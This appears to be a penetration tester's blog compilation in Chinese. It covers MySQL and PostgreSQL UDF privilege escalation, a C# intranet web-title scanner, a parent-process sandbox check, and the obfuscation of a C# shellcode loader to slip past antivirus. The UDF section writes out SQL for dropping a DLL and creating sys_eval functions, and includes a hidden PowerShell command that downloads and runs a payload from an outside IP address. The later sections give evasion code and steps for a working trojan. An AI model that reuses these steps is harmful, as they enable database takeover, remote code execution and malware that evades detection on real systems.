udf提权整理

udf是什么

UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。

注:

  1. 看一下版本,5.1版本的udf提权需要将dll上传到c:\windows\system32下。
  2. 5.1以上需要放到下lib\plugin 。
  3. 5.7版本secure_file_priv默认为null,设置了以后只能通过修改my.ini,所以没办法进行INTO DUMPFILE写入文件,也就只能在有webshell的情况下进行提权。

Mysql

udf.dll

dll来源可以选择自己编译和下载网上的,我这里用的是sqlmap中自带的dll

其路径是:sqlmap/data/udf/mysql/windows/

但是他的dll是经过异或操作了的,需要在用他自带的脚本在异或一下还原。

脚本路径:sqlmap/extra/cloak

image-20200530165325006

无webshell

在没有webshell的情况下可以利用以下命令查看相关信息:

SELECT @@basedir; --查看安装路径
SHOW VARIABLES LIKE '%plugins%';  --查找是否有plugins目录
show variables like '%compile%'; --查看数据库位数
show variables like "%secure%"; --查看是否由导出位置限制

image-20200530180915779

image-20200530182309454

在只有数据库账号的情况下有个问题就是如果对方服务器mysql版本不是完整版的话是没有lib\plugin文件夹的,google了下资料找到了可以利用NTDS ADS来创建文件夹

select 'udfdll' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION';
select 'udfdll' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION';

image-20200531012848376

image-20200531012906534

因为是没有webshell的情况下,需要利用INTO DUMPFILE导出dll文件,以16进制存入表中在导出成dll

获取16进制命令是

cat lib_mysqludf_sys.dll | xxd -p | tr -d '\n'

image-20200530182850214

drop table udf_temp;
CREATE TABLE udf_temp (udf BLOB);
INSERT into udf_temp values (CONVERT(0x111111111,CHAR));
SELECT udf FROM udf_temp INTO DUMPFILE 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll';
Create Function sys_exec returns string soname 'udf.dll';
Create Function sys_eval returns string soname 'udf.dll';

image-20200530215113011

sqlmap的导出函数是sys_eval和/sys_exec

image-20200530215003313

命令执行成功

image-20200530215140606

select sys_eval("powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://101.200.51.204:801/a2'))\"");

image-20200530220722348

sqlmap中的dll应该是msf中的,其中有个比较实用的函数是sys_bineval,这个函数是用来执行shellcode的。

但是只能在32位系统中运行,否则的话会引起mysql进程崩溃。

image-20200531004536820

image-20200531014029769

有webshell

有webshell就比较方便了,直接往li/plugin中上传dll后新建就可以了。

sqlmap

python3 sqlmap.py -d "mysql://root:123456@172.16.142.139:3306/mysql" --os-shell -v 3

image-20200530223317204

可以看到连接上后也是通过insert传入16进制后储存到plugin路径下。

Postgre

查看版本

Postgre也存在udf功能,同理也可以进行写入so文件创建加载函数。

select version(); ##查看版本,在去sqlmap下找

image-20200531015200308

创建so库

创建.so,执行自己需要用的命令

将so文件转换成16进制。

cat lib_postgresqludf_sys.so | xxd -p | tr -d '\n' > dll.txt

image-20200531015516206

分割hex导出udf

postgre对于8k页大小的数据库来说,字段数据大小超过2k时才会触发压缩策略.

https://github.com/sqlmapproject/sqlmap/issues/1170

split -b 1900 dll.txt aaaa #用split分割到2k以下

一条一条执行下面的语句,不然内容内容会被压缩。

SELECT lo_create(1);
insert into pg_largeobject values (1, 0, decode('7f454c4602', 'hex'));
insert into pg_largeobject values (1, 1, decode('020000000200020', 'hex'));
insert into pg_largeobject values (1, 3, decode('00', 'hex'));
insert into pg_largeobject values (1, 4, decode('181e2000', 'hex'));
insert into pg_largeobject values (1, 5, decode('d020000', 'hex'));

SELECT lo_export(1, '/tmp/1.so');

创建函数:

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/1.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

image-20200531111802582

执行函数:

select sys_eval('id');

image-20200531111834266

删除函数:

DROP FUNCTION sys_eval(text);
DROP FUNCTION sys_exec(text);

C#学习-内网多线程gettitle

2020年5月30日更新:

修复了HTTPS证书功能,对于ex和服务端的response返回404也可以识别到了,整体由try控制防止报错弹框。
速度大约是有线连接/外网100m 单端口b段扫描 10-20分钟左右。

2020年5月28日更新:

增加了自定义端口功能、自定义线程(在各位大哥的鞭挞下总算吃下这个多线程了,C# thread带参传好难),之前的多线程利用的sleep控制的,被大哥喷,没用join被大哥喷,现在总算都用上了,控制的速度变化明显。

测试图

win10 .net 4

win7 .net 2

使用:

gettitle.exe 192.168.1/192.168 80,8080,8181,8000 100

.net 4.0

http://myblogimages.oss-cn-beijing.aliyuncs.com/gettitle4.exe

.net 2.0

http://myblogimages.oss-cn-beijing.aliyuncs.com/gettitle2.exe

顺便加入了文件写入,扫描结果放到C:\users\public\scan.txt下了。

也方便在cs下用execute-assembly去执行查看结果。
win10

win7


之前几个项目都遇到内网需要扫描title,linux下又timoutsocks.py,windows下pyinstall编译太大了,最近正好在学习C#,就用C#写了一个,参考了几个其他扫描工具的思路。效果还不错。
-w948

using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.IO;
using System.Text.RegularExpressions;
using System.Threading;
using System.Net.Security;
using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates;

namespace gettitle
{
    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                string a = args[0];
                string ports = args[1];
                int threads = int.Parse(args[2]);
                //string ports = "80,8181";
                string[] port = ports.Split(new char[] { ',' });
                //for (int z = 0; z < port.Length; z++)
                //{
                //string a = "192.168.2";
                Regex rgx = new Regex(@"^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){2}$");
                //Console.WriteLine(startIp);
                if (rgx.IsMatch(a)) //匹配正确IP (123.123.123为true/123.123为 false)
                {
                    Console.WriteLine("start sacn");
                    for (int i = 1; i <= 255; i++)
                    {
                        //string hosts = "192.168.2";
                        string hosts = a;
                        hosts = hosts + "." + i;
                        Thread[] sp = new Thread[threads];
                        int thread = threads - 1;
                        sp[thread] = new Thread(() => URL_manage(hosts, port));
                        sp[thread].Start();
                        sp[thread].Join(10000 / threads);
                    }
                }
                else
                {
                    Console.WriteLine("start sacn");
                    for (int j = 0; j <= 255; j++)
                    {
                        for (int i = 1; i <= 255; i++)
                        {
                            string hosts = a;
                            hosts = hosts + "." + j + "." + i;
                            Thread thread = new Thread(() => URL_manage(hosts, port));
                            Thread[] sp = new Thread[threads];
                            int threada = threads - 1;
                            sp[threada] = new Thread(() => URL_manage(hosts, port));
                            sp[threada].Start();
                            sp[threada].Join(10000 / threads);
                        }
                    }
                }
            }
            catch
            {

                Console.WriteLine("Uesg: gettitle.exe 192.168.1/192.168 80,8000,8080,7001 10");
            }
        }

        public static void URL_manage(string hosts, string[] ports)
        {
            try
            {

            foreach (string port in ports)
            {
                if (port == "443")
                {
                    string host = "https://" + hosts + "/";
                    if (headscan(host))
                    {
                        Gettitle(host);
                       //Console.WriteLine(host);
                    }
                }
                else
                    {
                    string host = "http://" + hosts + ":" + port + "/";
                    if (headscan(host))
                    {
                        Gettitle(host);
                    }
                }
            }
            }
            catch
            {
            }
        }
        public static bool CheckValidationResult(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors errors)
        {   // 总是接受
            return true;
        }
        public static bool headscan(string url)
        {
            try
            {
                ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
                ServicePointManager.ServerCertificateValidationCallback = new System.Net.Security.RemoteCertificateValidationCallback(CheckValidationResult);
                var req = (HttpWebRequest)WebRequest.CreateDefault(new Uri(url));
                req.Method = "HEAD";
                req.Timeout = 5000;
                var res = (HttpWebResponse)req.GetResponse();
                if (res.StatusCode == HttpStatusCode.OK || res.StatusCode == HttpStatusCode.Forbidden || res.StatusCode == HttpStatusCode.Redirect || res.StatusCode == HttpStatusCode.MovedPermanently || res.StatusCode == HttpStatusCode.BadGateway)
                {
                    //Console.WriteLine(url);
                    return true;
                }
            }
            catch (WebException ex)
            {
                HttpWebResponse webResponse = (HttpWebResponse)ex.Response;
                if(ex.Response == null || webResponse.StatusCode == HttpStatusCode.RequestTimeout)
                {
                    return false;
                }
                else
                {
                    if (webResponse.StatusCode == HttpStatusCode.NotFound )
                    {
                        //Console.WriteLine(ex);
                        //Console.WriteLine(url+ "1");
                        return true;
                    }
                    else
                    {
                        //Console.WriteLine(ex);
                        //Console.WriteLine(url + "2");
                        return false;
                    }

                }
            }
            return false;
}
        public static void Gettitle(string input)
        {
            string httpUrl = input;
            string charSet = "utf-8";//utf-8
            try
            {
                ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
                ServicePointManager.ServerCertificateValidationCallback = new System.Net.Security.RemoteCertificateValidationCallback(CheckValidationResult);
                WebRequest oRequest = WebRequest.Create(httpUrl);
                oRequest.Timeout = 5000; //5s
                WebResponse oResponse = oRequest.GetResponse();
                StreamReader oReader = new StreamReader(oResponse.GetResponseStream(), Encoding.GetEncoding(charSet));
                string html = oReader.ReadToEnd();
                Match m1 = Regex.Match(html, "<title>(.*)</title>");
                using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"C:\users\public\scan.txt", true))
                {
                    file.WriteLine("open: " + input + "    ------" + m1.Groups[1].Value);// 直接追加文件末尾,换行
                }
                Console.WriteLine("open: " + input + "    ------" + m1.Groups[1].Value);
            }
            catch (WebException ex)
            {
                HttpWebResponse webResponse = (HttpWebResponse)ex.Response;
                if (ex.Response == null || webResponse.StatusCode == HttpStatusCode.RequestTimeout)
                {
                }
                else
                {
                    if (webResponse.StatusCode == HttpStatusCode.NotFound)
                    {
                        using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"C:\users\public\scan.txt", true))
                        {
                                    file.WriteLine("open: " + input + "    ------404");// 直接追加文件末尾,换行
                        }
                        Console.WriteLine("open: " + input + "    ------404");
                    }
                }
            }

        }
    }

}

Csharp检测父进程

可以用 GetParentProcess获取父进程名称,鼠标双击打开的父进程是explorer。而命令行打开的父进程是cmd.exe

Process Parent = ParentProcessUtilities.GetParentProcess();
Process Grandpa = ParentProcessUtilities.GetParentProcess(Parent.Handle);
if (Grandpa != null || !Parent.ProcessName.ToLower().Contains("explorer"))
        Environment.Exit(0);
[StructLayout(LayoutKind.Sequential)]
    public struct ParentProcessUtilities
    {
        // These members must match PROCESS_BASIC_INFORMATION
        internal IntPtr Reserved1;
        internal IntPtr PebBaseAddress;
        internal IntPtr Reserved2_0;
        internal IntPtr Reserved2_1;
        internal IntPtr UniqueProcessId;
        internal IntPtr InheritedFromUniqueProcessId;

        [DllImport("ntdll.dll")]
        private static extern int NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, ref ParentProcessUtilities processInformation, int processInformationLength, out int returnLength);

        /// <summary>
        /// Gets the parent process of the current process.
        /// </summary>
        /// <returns>An instance of the Process class.</returns>
        public static Process GetParentProcess()
        {
            return GetParentProcess(Process.GetCurrentProcess().Handle);
        }

        /// <summary>
        /// Gets the parent process of specified process.
        /// </summary>
        /// <param name="id">The process id.</param>
        /// <returns>An instance of the Process class.</returns>
        public static Process GetParentProcess(int id)
        {
            Process process = Process.GetProcessById(id);
            return GetParentProcess(process.Handle);
        }

        /// <summary>
        /// Gets the parent process of a specified process.
        /// </summary>
        /// <param name="handle">The process handle.</param>
        /// <returns>An instance of the Process class.</returns>
        public static Process GetParentProcess(IntPtr handle)
        {
            ParentProcessUtilities pbi = new ParentProcessUtilities();
            int returnLength;
            int status = NtQueryInformationProcess(handle, 0, ref pbi, Marshal.SizeOf(pbi), out returnLength);
            if (status != 0)
                throw new Win32Exception(status);

            try
            {
                return Process.GetProcessById(pbi.InheritedFromUniqueProcessId.ToInt32());
            }
            catch (ArgumentException)
            {
                // not found
                return null;
            }
        }
        }/

Csharp代码混淆/反编译/静态免杀

最近在学习C#的shellcode loader,偶然间发现火绒的特征定的有点狠,如下图:
-w767
火绒真的是,每个特征码定位都是那么独特,可以说360是md5杀毒软件,火绒是关键字杀毒软件(逃。。。。
这么弄真的不会影响到正常开发者吗?
尝试了下,在代码中修改createthread名称就行了,但是程序用不了了,毕竟用的是kernel32.dll的api,都是固定的又不能改api名,正好周五的时候同事也说了下C#
反编译出来就是明文,基本上没什么难度,于是就想办法混淆下pe文件,既能防止一些非二进制人员查看代码,还能绕过火绒。
找到了这个开源.net混淆器:
https://github.com/yck1509/ConfuserEx
首先选择本地输出文件夹和exe文件。
-w840

设置混淆规则。Protections选择anti ildasm,应该是防止IL反编译。因为Ildasm.exe是微软提供的.NET的IL反编译器。
-w1195


点击protect
-w783

-w1866

生成的马使用也没有问题。
-w1019

从落地-执行-复制,都没有被拦截。

这里我在用dnspy反编译下exe查看下原文件和混淆后文件的对比
-w2041